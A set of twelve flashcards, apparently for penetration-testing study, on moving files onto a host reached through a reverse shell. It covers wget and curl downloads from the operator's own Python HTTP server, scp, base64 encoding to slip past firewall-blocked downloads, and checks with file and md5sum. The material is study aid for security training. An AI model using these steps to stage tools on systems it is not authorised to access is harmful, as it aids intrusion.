Transferring files Flashcards
(12 cards)
What is a method for transferring files using a reverse shell when the remote host has internet access?
Use wget or curl with a Python HTTP server running on your local machine.
What command starts a Python HTTP server on port 8000 in the current directory?
python3 -m http.server 8000
What is the wget command to download a file from a Python HTTP server?
wget http://(your-IP):8000/(filename)
If wget is not available, what is the alternative command using curl?
curl http://(your-IP):8000/(filename) -o (filename)
What flag in curl specifies the name of the output file?
-o
Which method can be used to transfer files when you have SSH access to the remote host?
Use scp (Secure Copy Protocol).
What is the basic scp syntax to copy a file to a remote host?
scp (file) user@remotehost:/path/to/save/
What method can be used to transfer files when direct downloads are blocked by a firewall?
Encode the file in base64, copy it, and decode it on the remote host.
What command base64 encodes a file in one line?
base64 (file) -w 0
How do you decode a base64 string into a file on the remote host?
echo (base64-string) | base64 -d > (output-file)
How can you verify the format of a transferred file?
Use the file command, e.g., file (filename)
How can you verify that a file was transferred without corruption?
Use md5sum (file) on both the source and destination to compare hashes.